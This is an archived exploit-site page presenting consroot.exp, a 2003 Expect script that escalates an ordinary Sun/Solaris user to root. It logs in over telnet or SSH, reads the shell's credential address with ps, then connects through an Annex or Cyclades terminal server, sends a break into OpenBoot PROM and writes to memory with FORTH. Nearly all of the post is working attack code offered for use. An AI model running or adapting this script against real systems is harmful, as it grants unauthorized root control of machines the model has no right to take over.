exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

consroot.exp

consroot.exp
Posted Jun 21, 2003
Authored by Michael H.G. Schmidt

This script is used to automate escalation of normal user privileges to root making use of FORTH hacking on Sparc hardware.

tags | exploit, root
SHA-256 | 325fd7bf0f7765175435cfc0edb188bbfee72d6c1fa31b5dedf1ab31c371b473

consroot.exp

Change Mirror Download
Hi there,

here is a fully automated script for getting a root shell using a normal user account
and (remote-)console acces. The Script was written by me based on an article
from phrack.com (article #53 - hacking forth by mudge)

---snip---
#
# ---> consroot.exp <---
# by mickeyX 16.6.2003
#
# connects to a SUN and a Terminalserver and hacks the OBP to get a root shell.
# You need:
# - a "normal" user account on a SUN
# - terminalserveraccess on the same SUN
#
# this was tested on:
# - MacOS X version 10.2.6 using expect 5.38.0
# - Solaris 8 using expect 5.25.0
# - ANNEX terminalservers
# - CYCLADES terminalservers
#
# This is just a prototype ! Use with care on other terminalservers !
#
#
set timeout 2
set MODE [lindex $argv 0]
set TARGET [lindex $argv 1]
set UID [lindex $argv 2]
set PW [lindex $argv 3]
set CTYPE [lindex $argv 4]
set TSERVER [lindex $argv 5]
set TPORT [lindex $argv 6]
set TPW [lindex $argv 7]
set LOG log.txt
proc usage {} {
puts "\nusage: expect consroot <
TERMINALSERVER> "
puts "\twhere MODE is one of:"
puts "\t\tT = Target is using TELNET"
puts "\t\tS = Target is using SSH"
puts "\tTARGET = machine to hack"
puts "\tUSER = unprivileged user on target host"
puts "\tPW = password on target host"
puts "\n\twhere CONSOLETYPE is one of:"
puts "\t\tA = Target is connected to Annex Terminalserver"
puts "\t\tC = Target is connected to Cyclades Terminalserver\n"
puts "\tTERMINALSERVER = consoleaccess for target host"
puts "\tPORT = TCP/IP-port (!) on terminalserver where target is connected"
puts "\tTPW = password for terminalserverport\n"
exit 1
}
###
# MAIN
###
if { $argc < 8 } usage
# check for Terminalservertypes...
switch -- $CTYPE \
A {
} C {
} default usage
# check for connect-Mode...
switch -- $MODE \
T { spawn telnet $TARGET
set main_session $spawn_id
expect "ogin:"
send "$UID\n"
expect "assword"
send "$PW\n"
} S { spawn ssh -l $UID $TARGET
set main_session $spawn_id
expect "assword"
send "$PW\n"
} default usage
# start korn-shell...
expect { exp_continue }
send "exec /usr/bin/ksh\n"
# set defined prompt - so we can scan for it...
send "export PS1=PROMPT:\n"
# activate logging for getting credentials Adress...
log_file -noappend $LOG
###
# get adress for OBP-hacking:
###
send "/usr/bin/ps -o addr -p $$\n"
expect "ADDR"
expect "PROMPT:"
set ADRESS [exec sh "-c" "cat $LOG | grep -v PROMPT: | tail -1"]
puts "\nReceived ADRESS from shell was: $ADRESS\n"
###
###
###
# reset logfile...
exec sh "-c" "1>$LOG"
###
# get OS-architecture for OBP-hacking:
###
send "/usr/bin/isainfo -b\n"
expect "*" # clear expect buffer
expect "PROMPT:"
set ARC [exec sh "-c" "cat $LOG | tail -2 | head -1"]
puts "\nReceived Architecture was: $ARC\n"
exec "rm" "-f" "$LOG"
###
###
###
# connect to Terminalserver...
puts "\nPlease wait while connecting to Terminalserver...\n"
spawn telnet -e "#" $TSERVER $TPORT
switch -- $CTYPE \
A { puts "\nstarting Annex connect ...\n"
expect "Port password"
send "$TPW\n"
expect "Permission granted"
} C { puts "\nstarting Cyclades connect ...\n"
expect "Port*:"
send "$TPW\n"
expect "Password:"
send "$TPW\n"
expect "*"
}
# hack OBP...
send "#\n"
expect "telnet"
send "send brk\n"
expect "ok"
# let's ROCK and ROLL !!!
switch -- $ARC \
64 { send "hex 0 $ADRESS 20 + x@ 4 + l!\n"
} 32 { send "hex 0 $ADRESS 14 + l@ 4 + l!\n"
}
expect "ok"
send "go\r"
# deactivate logging...
log_file
exec rm "-f" "$LOG"
# give control to admin...
set spawn_id $main_session
send "\r"
expect "PROMPT:"
send "id\n"
expect "PROMPT:"
interact
---snip---

--
UNIX is like a wigwam: no windows, no gates, apache inside, stable.
Windows is not the answer - it's the question. No is the answer.

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close